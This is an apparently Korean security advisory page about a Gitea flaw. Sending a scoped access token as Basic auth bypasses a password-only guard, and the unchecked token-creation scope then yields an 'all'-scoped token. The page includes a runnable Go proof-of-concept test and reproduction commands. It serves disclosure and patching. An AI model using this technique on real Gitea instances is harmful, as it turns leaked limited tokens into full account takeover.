Gitea: Privilege Escalation via Access Token Scope Escalation in API
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.
Data flow
Step 1 - Token extracted from Basic auth header
When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:
VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):
Step 2 - AuthedMethod is set to "basic", not "access_token"
Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:
Step 3 - IsBasicAuth is incorrectly set to true
AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:
Step 4 - The guard is bypassed
reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:
Step 5 - No scope ceiling in the handler
CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):
Reproducing
tests/integration/api_token_scope_escalation_test.go
1package integration 2 3import ( 4 "net/http" 5 "testing" 6 7 auth_model "gitea.dev/models/auth" 8 "gitea.dev/models/unittest" 9 user_model "gitea.dev/models/user"10 api "gitea.dev/modules/structs"11 "gitea.dev/tests"12 13 "github.com/stretchr/testify/assert"14 "github.com/stretchr/testify/require"15)16 17// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two18// interconnected vulnerabilities that together allow full scope escalation:19//20// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in21// the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth22// handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true23// even though the credential is a token, not a password.24//25// 2. CreateAccessToken performs no scope-ceiling check — it never verifies that26// the requested scopes are a subset of the caller's token scopes.27//28// Combined effect: an attacker with a write:user-scoped token can create a new29// token with the "all" scope, gaining full access to the account.30func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {31 defer tests.PrepareTestEnv(t)()32 33 // Non-admin user — escalation is meaningful and not trivially justified.34 user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})35 36 // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.37 // Only write:user scope is granted; repository, admin, etc. are excluded.38 restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,39 []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})40 defer deleteAPIAccessToken(t, restrictedToken, user)41 42 // Confirm the restricted token is blocked from repository-scoped endpoints.43 // This establishes the baseline: write:user does not imply read:repository.44 req := NewRequest(t, "GET", "/api/v1/repos/search").45 AddTokenAuth(restrictedToken.Token)46 MakeRequest(t, req, http.StatusForbidden)47 48 // Step 2 — Exploit: supply the restricted token as Basic auth credentials.49 // Authorization: Basic base64("<token>:x-oauth-basic")50 //51 // Basic.Verify() validates the token and returns the user. group.Verify() then52 // sets AuthedMethod="basic" (the method name). auth.go maps that to53 // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no54 // password was provided. CreateAccessToken then creates the token with the55 // requested "all" scope without checking whether it exceeds the caller's scope.56 payload := map[string]any{57 "name": "poc-escalated",58 "scopes": []string{"all"},59 }60 req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)61 req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")62 63 // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)64 // but is currently 201, confirming the vulnerability.65 resp := MakeRequest(t, req, http.StatusCreated)66 67 escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})68 require.NotNil(t, escalatedToken)69 defer deleteAPIAccessToken(t, *escalatedToken, user)70 71 // Step 3 — The escalated token carries the "all" scope.72 assert.Contains(t, escalatedToken.Scopes, "all",73 "escalated token scope must be 'all'; original token only had write:user")74 75 // Step 4 — The escalated token can now reach endpoints blocked to the original76 // token, confirming real privilege gain beyond write:user.77 req = NewRequest(t, "GET", "/api/v1/repos/search").78 AddTokenAuth(escalatedToken.Token)79 MakeRequest(t, req, http.StatusOK)80} 1git clone https://github.com/go-gitea/gitea 2cd gitea 3git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e 4 5# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`. 6 7go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…